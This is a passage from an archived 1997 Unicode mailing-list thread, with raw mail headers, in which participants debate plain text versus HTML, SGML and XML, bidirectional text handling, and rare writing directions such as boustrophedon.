of all RFCs, perhaps the most widely-read > > plain-text > > files around, The middle line got folded, but the software didn't realize it was a bulleted list :-) > Within the Microsoft email system, we use rich text ... Well I hope you won't send me such, as I won't know what to do with it. Is it HTML-like markup? Of course rich text can be nice, but only if everyone has it. The nice thing about plain text *is* that everyone has it by default. But I think that applies only to type 2, ie. plain text with hard line breaks, ie. preformatted. The big advantage I see of the type 2 plain text (with hard line breaks) is that it requires *no* intelligence to render correctly. Well Unicode requires BIDI I guess (and let's hope that won't change in the next 30 years). But otherwise, just adjust to line length convention (by chosing a decent point size) and you're in business. No reliance on some S/W to do some undefined reformatting and hope it won't misrepresent your intentions. Pierre 26-May-97 12:40:12-GMT,2068;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id IAA10853 for ; Mon, 26 May 1997 08:40:11 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA15892; Mon, 26 May 97 05:16:43 -0700 Message-Id: <9705261216.AA15892@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uml-Sequence: 2696 (1997-05-26 12:16:14 GMT) To: Multiple Recipients of Reply-To: ""Martin J. Duerst"" From: ""Unicode Discussion"" Date: Mon, 26 May 1997 05:16:12 -0700 (PDT) Subject: Re: Unicode plain text On Mon, 26 May 1997, Otto Stolz wrote: > On May 24, 11:04, Timothy Partridge wrote: > > We seem to have two different requirements for plain text here. > ... > > The text has already been formatted by the author into lines and > > paragraphs. (Just as I have done with this e-mail. [...] > > Since NL usually does not denote any logical division in the text > > it is extremely annoying if the BiDi algorithm treats it as a new > > block. > > In contrary, it is annoying if it doesn't -- see below. The example you give doesn't apply. Independently of whether LS is a block separator or treated as whitespace, there will never be any text part B a line higher than a text part A when logically, text part A is before text part B. This is the very basic principle of the BIDI algorithm. What is affected by the decision whether LS is a block separator or treated as whitespace is whether bidirectional embeding and overwrite codes are terminated (at the block boundary) or not. As long as you don't have any of these, the only effect may be that in the absence of any other convention, the first character of a block defines the block's base directionality. Thus if LS is a block separator, you risk that the second part of the paragraph has a different base directionality than the first. Regards, Martin. 26-May-97 15:26:43-GMT,4060;000000000001 Return-Path: Received: (from fdc@localhost) by watsun.cc.columbia.edu (8.8.5/8.8.5) id LAA01862; Mon, 26 May 1997 11:26:38 -0400 (EDT) Date: Mon, 26 May 97 11:26:38 EDT From: Frank da Cruz To: Timothy Partridge Cc: Multiple Recipients of Subject: Re: Unicode plain text In-Reply-To: Your message of Sat, 24 May 1997 11:04:00 -0700 (PDT) Message-ID: > We seem to have two different requirements for plain text here. > Now my assumption was that we would mostly want to use one type, whereas > there seems to be a strong demand for another. > ... > First the type I had assumed as the default. > I would call this logical formatting. > > Paragraph Separator is most commonly used. Text usually runs on without > any control characters until a new paragraph is needed. Since this > is logical formatting the author does not know or care whether a > paragraph is indicated by a completly blank line or a new line is > started with an indent or some other convention. > I suppose this is, indeed, a form of plain text, but I would call it ""input for a text formatter"", not text to be used and viewed on its own as it stands. It is a degenerate case of a larger class, e.g. input for TeX, Scribe, Troff, IPFC, SGML, or HTML (for text formatting). It is only in the last few years that I began to receive ""long-line"" text in email, and I can only suppose that it was generated by some sort of editor that does its own word wrapping during input, but does not send the line breaks on the mistaken assumption that every email client in the world is (or should be) also a text formatter. [The second type of plain text...] > The assumptions behind this explicit approach include: > * The text will go straight to a printer that is not very bright. > * The author knows exactly how many characters fit on a line. (Often > there is also the assumption that each character is fixed width.) > * The author knows exactly how many lines fit on a page. > * The author knows in which sequence the characters in a line will > be printed. (Usually assumes left to right without any reordering.) > Right -- this is the kind people have been using for more decades than many of us have been alive. It does not deserve the bad rap. Of course we all find it irritating when the composer of such text assumes wider or longer pages than we have, but that is not a reason to abolish this, the most common form of plain text -- in fact, it is all the more reason to set standards for its use. ""Standard lines are so wide; standard pages are so long"", etc. Such standards tend to be set of their own volution, e.g. among e-mail and netnews users, where recipients of badly formatted messages tend to take it on themselves to educate the senders as to common practice. Ideally, preformatted plain text can also be fed into your favorite rendering engine to produce the effect that most pleases your eye, and indeed we have been doing this sort of thing for decades with many formatters. I grant that automatic recognition of nested bullet lists or meticulously formatted tables might be a stretch, but it is certainly not difficult to treat blank lines as paragraph separators, and otherwise to ignore line breaks when reformatting prose such as this. But once any kind of markup (""this is a table"", ""this is a bullet list"", ""this is a section of preformatted text"") is introduced, our plain text becomes ""input for a text formatter"". Incidentally, another form of plain text is ""output from a text formatter"", which often has been hyphenated. Such text is an end result, not intended for further processing. I think that living in a world of email has demonstrated the value of plain text, at least to most people. The lesson is that this is the only text form that can be sent without prior prearrangement with any reasonable expectation that it will be readable at its destination. - Frank 26-May-97 15:48:20-GMT,2862;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id LAA06491 for ; Mon, 26 May 1997 11:48:19 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA16506; Mon, 26 May 97 07:38:18 -0700 Message-Id: <9705261438.AA16506@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Uml-Sequence: 2698 (1997-05-26 14:37:52 GMT) To: Multiple Recipients of Reply-To: Otto Stolz From: ""Unicode Discussion"" Date: Mon, 26 May 1997 07:37:50 -0700 (PDT) Subject: Rare Writing Directions Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by watsun.cc.columbia.edu id LAA06491 Some scripts are neither left-to-right, nor right-to-left. 1. Mongolian is written top-to-bottom; Japanese and Chinese used to be written this way, the lines were stacked right-to-left. Recently, somebody (sorry, I haven't kept that note) has said that mixing Latin with Japanese was impossible, hence modern Japanese is written left-to-right. However, there is a way to mix top-to-bottom with horizontally written scripts: about twenty years ago I have seen a book in Japanese, written top-to-bottom, with German proper, and place, names imbedded. These were also written top-to-bottom, with the glyphs rotated by 90 degrees; so you could turn the book counter- clockwise to read these names, in the usual way. This imebedding method would also work with left-to-right phrases in Mongolian text. For righ-to-left scripts, you would have to turn the glyphs the other way. I think, it would be useful to have this method described in a forthcoming Unicode standard. 2. Some old scripts (Greek, Latin, Hethitic, Runes) were used to write boustropheda. A boustrophedon runs back and forth like a ploughing ox (thence the name), i.e. the lines are written, alternatingly, left-to-right and right-to-left. As Unicode will adopt the Runes alphabet (or rather: fu�ark), it would propbably be useful to have boustrophedon-markers akin to the existing LEFT-TO-RIGHT MARK and its siblings, U+200E .. U+200F and U+202A .. U+202E. These markers could be used to mark plain, logically formatted, Unicode text. (To mark physically formatted text, you could probably use the OVERRIDE characters, U+202D and U+202E.) Also a normative boustrophedon algorithm, akin to the existing bidi algorithm would probably be nice to have. I guess, this algorithm could be much simpler than the bidi algorithm, as the boustrophedon feature will apply only to whole paragraphs (it is more like a layout style, which does not have to allow for intrinsic character features). Opinions? Am I wrong, again? Best wishes, Otto Stolz 26-May-97 16:18:23-GMT,1285;000000000011 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id MAA10524 for ; Mon, 26 May 1997 12:18:22 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA16649; Mon, 26 May 97 08:21:01 -0700 Message-Id: <9705261521.AA16649@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2699 (1997-05-26 15:20:37 GMT) To: Multiple Recipients of Reply-To: ""Pierre Lewis"" From: ""Unicode Discussion"" Date: Mon, 26 May 1997 08:20:35 -0700 (PDT) Subject: re:Multi-Lingual Project Gutenberg (was: Unicode plain text) In message ""Multi-Lingual Project Gutenberg (was: Unicode plain text)"", 'Otto.Stolz@uni-konstanz.de' writes: > You'll find the German project Gutenberg (in German, of course), under > . The format > is currently HTML, in ISO 8859-1 encoding. Thanks for the pointer, I don't think I had it. Well done (just had a look at Max and Moritz). HTML certainly is an interesting alternative to plain text because it is so universal (and, hopefully, with a stable foundation). And it allows to include illustrations, annotations, &c. Pierre 26-May-97 16:43:54-GMT,2364;000000000001 Return-Path: Received: (from fdc@localhost) by watsun.cc.columbia.edu (8.8.5/8.8.5) id MAA15283; Mon, 26 May 1997 12:42:51 -0400 (EDT) Date: Mon, 26 May 97 12:42:51 EDT From: Frank da Cruz To: ""Pierre Lewis"" Cc: Multiple Recipients of Subject: re:Multi-Lingual Project Gutenberg (was: Unicode plain text) In-Reply-To: Your message of Mon, 26 May 1997 08:20:35 -0700 (PDT) Message-ID: > HTML certainly is an interesting alternative to plain text because it > is so universal (and, hopefully, with a stable foundation). And it > allows to include illustrations, annotations, &c. > There is an infinite number of alternatives to plain text. Anybody, anywhere can make up whatever such alternatives they like -- and they do. HTML is controlled by Netscape and Microsoft, and changes every five minutes as each attempts to outdo and undercut the other. Plain text is an interesting alternative to HTML because nobody controls it but ""just us chickens"", and it alone stands a chance of surviving year after year, decade after decade, as the corporate giants pull the rug out from each other (and us) on a weekly basis, with their proclamations of ever more complex proprietary ""standards"" with which we all must ""comply"". This is not to say that a simple and stable form of HTML -- say 1.0, but augmented by some minimally adequate method of coping with character sets -- is not a suitable method for publishing literary classics on the Web -- after all, this is the sort of thing the Web was originally designed for, lest we forget... But this is not to say that even a stable form of HTML could be thought of as a replacement for plain text. My printer does not render HTML; my email client is not a Web browser. My text editor is not an HTML authoring system. My C compiler does not compile HTML. My Telnet client does not interpret HTML. And perhaps most important, the incomprehensibly enormous corpus of existing plain-text information does not need to be converted to HTML or anything else (except perhaps Unicode plain text), especially since any such requirement would leave most of it behind, and even that which was deemed worthy of conversion would become obsolete as soon as HTML is replaced by the next thing. - Frank 26-May-97 18:29:49-GMT,2166;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id OAA01077 for ; Mon, 26 May 1997 14:29:48 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA17491; Mon, 26 May 97 10:23:48 -0700 Message-Id: <9705261723.AA17491@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2706 (1997-05-26 17:23:31 GMT) To: Multiple Recipients of Reply-To: ""Pierre Lewis"" From: ""Unicode Discussion"" Date: Mon, 26 May 1997 10:23:30 -0700 (PDT) Subject: re:Multi-Lingual Project Gutenberg (was: Unicode plain text) In message ""re:Multi-Lingual Project Gutenberg (was: Unicode plain text)"", 'fdc@watsun.cc.columbia.edu' writes: > ... HTML is > controlled by Netscape and Microsoft, and changes every five minutes as each > attempts to outdo and undercut the other. I thought at least some baseline HTML came from more neutral bodies than these two corporations?! Of course, HTML is an acceptable alternative to plain text *only* if it is corporation-neutral, widespread, and reasonably stable. I certainly wouldn't agree to any MSIE-or NN-specific extensions being used in the texts offered by these projects, but this specific site is quite legible with lynx, so I assume it doesn't use too many fancy features. > Plain text is an interesting alternative to HTML because nobody controls it > but ""just us chickens"", and it alone stands a chance of surviving year after > year, decade after decade, ... Well put. > This is not to say that a simple and stable form of HTML -- say 1.0, but > augmented by some minimally adequate method of coping with character sets -- Since the German Gutenberg project uses latin 1 (the HTML default), they don't even need any extensions over HTML 1.0. > ... My printer does not render HTML; my email > client is not a Web browser. ... Same here. Still, browsers are getting pretty common, so for a project Gutenberg, it's probably a reasonable choice. Pierre 26-May-97 19:25:43-GMT,4512;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id PAA10016 for ; Mon, 26 May 1997 15:25:41 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA17805; Mon, 26 May 97 11:35:09 -0700 Message-Id: <9705261835.AA17805@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2707 (1997-05-26 18:34:53 GMT) To: Multiple Recipients of Reply-To: Timothy Partridge From: ""Unicode Discussion"" Date: Mon, 26 May 1997 11:34:50 -0700 (PDT) Subject: Re: Unicode plain text Pierre Lewis recently said: > This first type (usually the result of ""save as text"" from some WP) > always causes me trouble and I usually have to reformat it before I can > do anything with it (such as printing it). In my opinion a Unicode renderer should cope with this automatically and divide paragraphs up into lines for you. This is mostly because of the intelligence of the BiDi algorithm. What you won't get is page headers and footers and page numbers since there is no way to specify them in Unicode plain text. Is there general agreement that text that is only split into paragraphs should be rendered properly by a Unicode engine? I.e. it is acceptable as plain text. > I think the second type is by far the most common and is what I > consider to be plain text: > > o It's the format of all RFCs, perhaps the most widely-read plain-text > files around, [snip] > o It's the format chosen by project Gutenberg, the wonderful collection > of English texts. I have a dream here, of a multi-lingual project > Gutenberg with classics in various languages, and, of course, in > plain-text Unicode.... > > (URL: ftp://uiarchive.cso.uiuc.edu/pub/etext/ ) > > I'd be really curious to see how one would express RFC2070, on > ""Internationalization of the Hypertext Markup Language"", as a type 1 > plain-text file (for those looking for a challenge: type 2 plain-text > file of this RFC is at: http://ds.internic.net/rfc/rfc2070.txt). Can I have the original source please! I suspect that documents like this have been prepared in some markup language and sent through something like troff. > Of course, type 2 means some assumptions. > > > * The author knows exactly how many characters fit on a line. (Often > > there is also the assumption that each character is fixed width.) > > True enough, and that may break down somewhat with ideograms (surely > one can't fit 80 of those on a line). But, in general, staying under 80 > chars will give a plain-text file that most can print. I rarely have > trouble printing a plain-text file of this second type. And I think this > will work with a lot of scripts, eg. Russian, Greek, Hebrew, Arabic. I'm not so sure that fixed width Arabic will look good but the general point holds. But should I need to fiddle with point sizes if Unicode renderers will accept type 1 text. Type 2 text is very common. And it is the published form. In some cases the original marked up text will have been lost. Where it hasn't a Unicode type 1 style plain text file could be produced from the original. I dug out some troff documentation and it says that the plain text output is a representation that is an approximation to the printed page. I suggest that much of the type 2 text is in this form, i.e. Formatting *including* BiDi has already been carried out. Does anyone have examples of mixed direction text in RFC style format that could confirm this? I think that for type 2 physical format files Unicode rendering is *too* intelligent and would scramble the preformatted lines if they contained BiDi text. (As well as getting horribly confused by the NLs which presumably have been converted to Line Separator.) I would propose a new control code - Disable BiDirectional Processing which would switch off BiDi altogether. It could be used with physical format files so that they come out as intended. (There needs to be an Enable code as well.) I'll also allow you a Page Separator. This would be treated as a block separator by BiDi and would cause a new page to be started. The introduction of a new control code would mean that existing text that uses the current standard would work in the same way, but additional control could be given to text that needs it. Tim -- Tim Partridge. Any opinions expressed are mine only and not those of my employer 27-May-97 14:26:28-GMT,1209;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id KAA28296 for ; Tue, 27 May 1997 10:26:27 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA21401; Tue, 27 May 97 06:34:30 -0700 Message-Id: <9705271334.AA21401@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2718 (1997-05-27 13:33:37 GMT) To: Multiple Recipients of Reply-To: ""Pierre Lewis"" From: ""Unicode Discussion"" Date: Tue, 27 May 1997 06:33:36 -0700 (PDT) Subject: re:Multi-Lingual Project Gutenberg (was: Unicode plain text) With waivering faith I wrote: :-) > HTML certainly is an interesting alternative to plain text because it > is so universal (and, hopefully, with a stable foundation). And it > allows to include illustrations, annotations, &c. Coincidently, I was reading last nite (ironically, in ""iX"", a German magazine) about XML (eXtensible Markup Language) which, says the article, could replace (in the mid term) HTML as the lingua franca of the Web. So much for that idea... Es lebe plain text! (long live ~) Pierre 27-May-97 17:30:54-GMT,2490;000000000011 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id NAA03642 for ; Tue, 27 May 1997 13:30:52 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA22032; Tue, 27 May 97 09:17:26 -0700 Message-Id: <9705271617.AA22032@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uml-Sequence: 2720 (1997-05-27 16:16:36 GMT) To: Multiple Recipients of Reply-To: John Fieber From: ""Unicode Discussion"" Date: Tue, 27 May 1997 09:16:34 -0700 (PDT) Subject: re:Multi-Lingual Project Gutenberg (was: Unicode plain text) On Tue, 27 May 1997, Pierre Lewis > With waivering faith I wrote: > :-) > > > HTML certainly is an interesting alternative to plain text because it > > is so universal (and, hopefully, with a stable foundation). And it > > allows to include illustrations, annotations, &c. > > Coincidently, I was reading last nite (ironically, in ""iX"", a German > magazine) about XML (eXtensible Markup Language) which, says the > article, could replace (in the mid term) HTML as the lingua franca of > the Web. So much for that idea... Both HTML and XML rest on a very stable foundation: SGML. The unicode standard defers quite a number of things to ""higher level protocols"". SGML just such a protocol, XML represents a profile of the SGML standard that makes writing processing applications a lot easier. If you invest a lot of energy building a document system around HTML, you will be SOL when HTML falls out of fashion. If you spend the same energy building a document system on the SGML foundation, you can automatically deal with HTML and all its variants, XML, or whatever the next fad is. Real SGML tools are polymorphic. > Es lebe plain text! (long live ~) I find this a tragic position. Before unicode, the common denominator for cross-platform data transfer was 7 bit ASCII. Unicode charged ahead to raise the common denominator but statements like this essentially say that the common denominator should go no further. This is counter to the spirit that inspired Unicode and counter to the standard itself which explicitly defers a number of important dimensions of text processing to higher level protocols. Plain text is simply not an option for most anyone serious about their documents. -john 27-May-97 18:42:14-GMT,2820;000000000001 Return-Path: Received: (from fdc@localhost) by watsun.cc.columbia.edu (8.8.5/8.8.5) id OAA23125; Tue, 27 May 1997 14:40:39 -0400 (EDT) Date: Tue, 27 May 97 14:40:38 EDT From: Frank da Cruz To: John Fieber Subject: re:Multi-Lingual Project Gutenberg (was: Unicode plain text) In-Reply-To: Your message of Tue, 27 May 1997 09:16:34 -0700 (PDT) Message-ID: > > Es lebe plain text! (long live ~) > > I find this a tragic position. Before unicode, the common > denominator for cross-platform data transfer was 7 bit ASCII. > Unicode charged ahead to raise the common denominator but > statements like this essentially say that the common denominator > should go no further. This is counter to the spirit that > inspired Unicode and counter to the standard itself which > explicitly defers a number of important dimensions of text > processing to higher level protocols. > But that is to say that Unicode is useless except in combination with a higher level protocol over which it has no control. I have absolutely no faith in any higher level protocol. They come into fashion and then exit ignominiously with astounding speed. So perhaps the need for plain text is ""tragic"" (so too would be the fact that many citizens of earth do not possess high-end bit-mapped rendering engines, let alone sufficient food to eat), but it is nonetheless real. I think a lot of Unicoders have little idea what the real world is like. They know it is populated by people who speak many languages written in diverse writing systems, which is a step forward. But they don't pay much attention to the ""low tech"" computer-related components of everyday life -- not only in the less ""developed"" countries, but even in the rich ones. They seem to believe that the only use for computers any more is Web browsing and composition of glossy (multilingual) sales brochures. Try to remember all the real work that computers are doing every day in hidden places: medical and laboratory equipment, manufacturing equipment, telecommunications equipment, traffic control, POS, EDI, etc. Case in point: the imbedded microprocessors and microcontrollers whose interface to the outside world is a lowly serial port, and which have only a few K available for their control program. Countless millions of them, chosen precisely for their low cost. Now, isn't it our goal for Unicode to become, eventually, the world's one-and-only character set? Good! Then let's not lock out the low end. Let's see if we can't separate the concept of character set from the *necessity* for higher (and lower) level protocols and the need for a high-end rendering engine. (Sure, use them if you want, but that's a totally separate issue.) - Frank 27-May-97 21:05:57-GMT,2979;000000000001 Return-Path: Received: from fallout.campusview.indiana.edu (fallout.campusview.indiana.edu [149.159.1.1]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with ESMTP id RAA00789 for ; Tue, 27 May 1997 17:05:54 -0400 (EDT) Received: from localhost (jfieber@localhost) by fallout.campusview.indiana.edu (8.8.5/8.8.5) with SMTP id QAA01376 for ; Tue, 27 May 1997 16:05:45 -0500 (EST) Date: Tue, 27 May 1997 16:05:44 -0500 (EST) From: John Fieber To: Frank da Cruz Subject: re:Multi-Lingual Project Gutenberg (was: Unicode plain text) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Tue, 27 May 1997, Frank da Cruz wrote: > > > Es lebe plain text! (long live ~) > > > > I find this a tragic position. Before unicode, the common > > denominator for cross-platform data transfer was 7 bit ASCII. > > Unicode charged ahead to raise the common denominator but > > statements like this essentially say that the common denominator > > should go no further. This is counter to the spirit that > > inspired Unicode and counter to the standard itself which > > explicitly defers a number of important dimensions of text > > processing to higher level protocols. > > > But that is to say that Unicode is useless except in combination > with a higher level protocol over which it has no control. I never said and most certainly did not mean to imply that Unicode is ""useless"" without higher level protocols. That proposition is absurd. > I have absolutely no faith in any higher level protocol. They come > into fashion and then exit ignominiously with astounding speed. Your opinion does not change the fact that a great many applications would be impossible without higher level protocols, transient or otherwise. (I'd hardly describe SGML as transient though--it dates back into the 1960s and has continuously gained in pouplarity ever since with no sign of fading in the future.) [statements about the real world] > Now, isn't it our goal for Unicode to become, eventually, the world's > one-and-only character set? Good! Then let's not lock out the low > end. Let's see if we can't separate the concept of character set > from the *necessity* for higher (and lower) level protocols and the > need for a high-end rendering engine. ...but I never said anything about a monolithic standard including low and high level protocols! I'd be the first to say it would be a Bad Idea for exactly the reasons you cite. I would also add that separation is critical because different applications may need different high level protocols. SGML works great for publishing type applications, but it certainly is not an answer to every text processing applications. -john 27-May-97 21:19:35-GMT,3042;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id RAA03062 for ; Tue, 27 May 1997 17:19:31 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA23523; Tue, 27 May 97 13:04:30 -0700 Message-Id: <9705272004.AA23523@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uml-Sequence: 2726 (1997-05-27 20:04:01 GMT) To: Multiple Recipients of Reply-To: John Fieber From: ""Unicode Discussion"" Date: Tue, 27 May 1997 13:03:59 -0700 (PDT) Subject: re:Multi-Lingual Project Gutenberg (was: Unicode plain text) On Tue, 27 May 1997, Marion Gunn > The general consensus there was that > incipient XML was being very heavily pushed as an alternative to html by > SUN and MICROSOFT in collaboration Sun has been actively involved in the development of XML, so their position is no surprise. Lately Microsoft has been jumping on the ""standards"" bandwagon (witness the ditching of WINS for DNS, adoption of Kerberos, etc.) and a move to XML in particular represents taking a distinctly different direction than Netscape, whose founder has publicly stated that SGML is stupid--a position I firmly believe will only hasten Netscape's death if it persists. > (as an alternative which would eliminate > markup language altogether from the actual text to be transferred). This is nonsensical. In the world of HTML, you have a fixed set of tags you can use in your documents, and you must assume that the browser knows how to do something sensible with them (not always safe). With XML, or SGML for that matter, your document gets marked up using tags appropriate for the data being marked up. The document gets sent to the browser along with a style sheet so that the browser can do something sensible when it encounters the markup. This allows for (a) more concise and precise markup of the document and (b) more precise control over the ultimate rendering by the browser. The push for XML represents a ""back to the roots"" movement. The basic premise of SGML is that it is impossible to define a markup language that is both general and precise. Thus, SGML is a meta-language; a language for defining markup languages. At a technical level, SGML standardizes parsing--how to distinguish markup from data. HTML is just a single markup language defined in terms of SGML. However, the promotion of HTML as a universal exchange format is fundamentally at odds with the spirit of SGML. A problem with using SGML in a web environment is the complexity of the software required to implement the parsing rules. Enter XML. XML basically does away with numerous non-essential features of SGML that complicate parsing, things like tag omission and minimization, shortrefs and the like. XML also raises the compliance bar on character encoding from 7 bit ASCII to Unicode. -john 27-May-97 21:23:11-GMT,2405;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id RAA03727 for ; Tue, 27 May 1997 17:23:10 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA23596; Tue, 27 May 97 13:08:43 -0700 Message-Id: <9705272008.AA23596@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2727 (1997-05-27 20:08:24 GMT) To: Multiple Recipients of Reply-To: ""Pierre Lewis"" From: ""Unicode Discussion"" Date: Tue, 27 May 1997 13:08:22 -0700 (PDT) Subject: re:Multi-Lingual Project Gutenberg (was: Unicode plain text) In message ""re:Multi-Lingual Project Gutenberg (was: Unicode plain text)"", 'jfieber@indiana.edu' writes: > > Es lebe plain text! (long live ~) > > I find this a tragic position. Before unicode, the common > denominator for cross-platform data transfer was 7 bit ASCII. First, don't take anything I write too literally. I make available most of my project documentation in HTML. So I'm not religious about these things. The above is not an exclusive statement. HTML serves a most useful purpose and I'm not saying to ban it! Second, Unicode is something more or less orthogonal to the notion of plain text. So I don't really understand your comment above. Plain text does not mean 7-bit ASCII. It could just as well mean UTF-8 Unicode. Third, for all the great things that can be said for SGML, HTML, XML, and ML, it still remains that plain text is the most portable format, the simplest to deal with (on all platforms), and the only one that is likely to be legible in 30 years. For some things, it's still the best solution. > Plain text is simply not an option for most anyone serious about > their documents. That depends on the purpose. For example, I'm writing some biographical notes on myself (how pretentious can one get :-)?) so my son will know a bit about me should I leave early. I can't think of a better medium for that than plain text (Latin 1 here). Surely not some WP that will be so badly out of style by the time he gets to read the stuff (he doesn't talk yet)... And look at a typical novel. Plain text is all that's required to capture it. Marketing glossies are another matter of course. And so is most technical documentation. Anyway, getting off topic again! Pierre 27-May-97 22:15:20-GMT,2216;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id SAA20653 for ; Tue, 27 May 1997 18:15:18 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA24108; Tue, 27 May 97 14:24:35 -0700 Message-Id: <9705272124.AA24108@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2729 (1997-05-27 21:24:18 GMT) To: Multiple Recipients of Reply-To: Timothy Partridge From: ""Unicode Discussion"" Date: Tue, 27 May 1997 14:24:16 -0700 (PDT) Subject: Re: re:Multi-Lingual Project Gutenberg (was: Unicode plain text) Pierre Lewis recently said: > With waivering faith I wrote: > :-) > > > HTML certainly is an interesting alternative to plain text because it > > is so universal (and, hopefully, with a stable foundation). And it > > allows to include illustrations, annotations, &c. > > Coincidently, I was reading last nite (ironically, in ""iX"", a German > magazine) about XML (eXtensible Markup Language) which, says the > article, could replace (in the mid term) HTML as the lingua franca of > the Web. So much for that idea... > > Es lebe plain text! (long live ~) And what about the Standard Generalised Markup Language (SGML)? This has been around for ages. It lets you define a set of markup tags and then use them. HTML is a particular set of SGML tags and the SGML definition of HTML (the DTD) is available from W3. If you are writing text in HTML I would strongly recommend that you put a DTD version declaration at the top. e.g. which is English with HTML 3.2 markup. Then syntax check the HTML with a SGML parser to make sure it conforms. Finally keep a copy of the DTD somewhere safe along with a copy of the matching HTML standard so that future generations can always understand your text. (The copy of 3.2 that I have is about 12K in size.) You might want a copy of the SGML standard too - I don't know where to get a machine readable copy from. Tim -- Tim Partridge. Any opinions expressed are mine only and not those of my employer 28-May-97 0:12:27-GMT,2766;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id UAA10920 for ; Tue, 27 May 1997 20:12:26 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA24725; Tue, 27 May 97 16:51:28 -0700 Message-Id: <9705272351.AA24725@unicode.org> Errors-To: uni-bounce@unicode.org X-Uml-Sequence: 2731 (1997-05-27 23:51:00 GMT) To: Multiple Recipients of Reply-To: kenw@sybase.com (Kenneth Whistler) From: ""Unicode Discussion"" Date: Tue, 27 May 1997 16:50:58 -0700 (PDT) Subject: Unstable foundations and wavering faith > With waivering faith I wrote: > :-) > > > HTML certainly is an interesting alternative to plain text because it > > is so universal (and, hopefully, with a stable foundation). > > Es lebe plain text! (long live ~) It is no accident that Silicon Valley thrives in Earthquake country. But while everything seems to be in constant turmoil, and yesterday's hot new item is today's trash -- try to take the long view. 1. The Information Technology industry is still in its adolescent phase (no longer its infancy, certainly), but maturing rapidly. As industrial technology matures, it tends to stabilize into well- understood, efficient patterns, with competition for innovations just fizzing around the edges. Handling of multilingual text as part of the general problem of automated information technology is still in ferment, but we can see the beginnings of the crystallizations of well-understood, accepted ways of dealing with the issues on computers. 2. Unicode is laying the (firm, we hope) foundation for plain text representation through the next century--perhaps longer. In any case, like ASCII, it should last long enough to gain the lustrous, comfortable patina of trusted age. Just as my nieces now find it hard to conceive of a political age before Ronald Reagan, people just being introduced to computer science and programming in Java will find it hard to conceive of character sets before Unicode. --Ken (Color me rosy) Whistler P.S. For those who, like me, worry that all electronic data not in plain text (and ASCII plain text at that) is in constant danger of disappearing into the enormous historical bit bucket of undecipherable formats using undecipherable encodings on obsolete media, consider the following: Perhaps the greatest source of information loss in the longrun was the shift by the publishing industry to use of cheap high-acid papers early in this century. Ask librarians about the conditions of their pre-War collections (my nieces just asked, ""The Gulf war?"") of books. Or how about all the nitrate movie film stock collapsing into dust? 28-May-97 1:36:52-GMT,2584;000000000001 Return-Path: Received: from unicode.org (unicode.org [192.195.185.2]) by watsun.cc.columbia.edu (8.8.5/8.8.5) with SMTP id VAA24050 for ; Tue, 27 May 1997 21:36:49 -0400 (EDT) Received: by unicode.org (NX5.67g/NX3.0M) id AA25007; Tue, 27 May 97 18:18:07 -0700 Message-Id: <9705280118.AA25007@unicode.org> Errors-To: uni-bounce@unicode.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uml-Sequence: 2733 (1997-05-28 01:17:40 GMT) To: Multiple Recipients of Reply-To: Giles S Martin From: ""Unicode Discussion"" Date: Tue, 27 May 1997 18:17:35 -0700 (PDT) Subject: Re: Unstable foundations and wavering faith It's getting a little off-topic, but ... . Arguably the single event causing the greatest information loss was the destruction of the library at Alexandria, which broke countless links in chains of transmission of unique manuscripts. Acid paper and nitrate film have 